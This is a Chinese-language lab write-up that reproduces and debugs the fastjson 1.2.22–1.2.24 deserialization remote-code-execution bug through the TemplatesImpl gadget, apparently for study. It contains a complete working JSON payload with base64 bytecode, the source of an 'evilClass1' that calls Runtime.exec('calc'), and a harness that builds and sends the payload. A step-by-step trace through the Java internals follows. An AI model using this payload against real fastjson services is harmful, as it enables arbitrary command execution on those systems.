fastjson1.2.22-1.2.24 反序列化命令执行实践测试
首先创建一个spring boot的项目
pom.xml因为fastjson 依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.22</version> </dependency>
user entity
public class User { private String username; public void setUsername(String username) { this.username = username; } public String getUsername() { return username; } }
正常反序列化时这样的:
String text="{\"@type\":\"com.example.fastjsonrce.entity.User\",\"username\":\"xiaochuan\"}"; Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField); User myUser=(User)obj1; return myUser.getUsername();
当payload换成:
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvbW9jbi9tYWxsL2NvbW1vbi91dGlsL1BvYzsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACFBvYy5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAHGNjL21vY24vbWFsbC9jb21tb24vdXRpbC9Qb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADQAEAA4ADQAPAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAGAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
即可触发命令执行
测试发现代码中
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
参考这位大佬的分析文章,跟进调试一遍。
首先poc的内容
package ka1n4t.poc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evilClass1 extends AbstractTranslet/*ka1n4t*/ { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public evilClass1() throws IOException { Runtime.getRuntime().exec("calc"); } public static void main(String[] args) throws IOException { evilClass1 helloworld = new evilClass1(); } }
package ka1n4t.poc; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class vulApp1 { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } String result = Base64.encodeBase64String(bos.toByteArray()); return result; } public static void bad_method() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class"; String evil_code = readClass(evil_path); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]) { bad_method(); } }
分析poc是在反序列化过程时,反序列化的TemplatesImpl类,其中_bytecodes是关键的代码,其值是base64后的evilClass1.class字节流,我的理解是在反序列化过程时,_bytecodes中的内容被实例化,从而执行了构造函数中的命令执行。如果不对的话,还请大神指正,十分感谢
接下里尝试调试
首先漏洞触发在fastjson的FieldDeserializer类中。
通过java的反射机制,实际执行的是
public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
这是java官方类库,所以Force Step Into 强制进入,之后Step Over (F8),一步步之后操作。
先进入invoke
然后进入TemplatesImpl.getOutputProperties(),注意在该函数下打个断点
进入这个函数可以看到调用了newTransformer(),它应该会返回一个实例,是官方内部函数,(Force Step Into):Alt + Shift + F7进去看看
可以看到的是其返回一个transformer实例,在实例化时调用了getTransletInstance函数。(Force Step Into):Alt + Shift + F7进去看看
这里可以看到运行了一个defineTransletClasses()返回给_class
主要来看defineTransletClasses()是如何创建出poc中的恶意类的。
首先是实例化了一个TransletClassLoader 类型的loader
这是TemplatesImpl下的TransletClassLoader类,等等再分析
可以看到在经过_class[i] = loader.defineClass(_bytecodes[i]);后,_class[i]还原成功了class cc.mocn.mall.common.util.Poc,
回到getTransletInstance函数,经过defineTransletClasses()后,_class中已经有了我们的恶意类
最后通过newInstance()实例化,从而执行构造函数中的命令执行。
回头看看TransletClassLoader
可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0]
所以最后就是_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload
以上是根据大神们的分析思路,加入了一些自己的理解,如果有不正确的地方,还请指正,十分感谢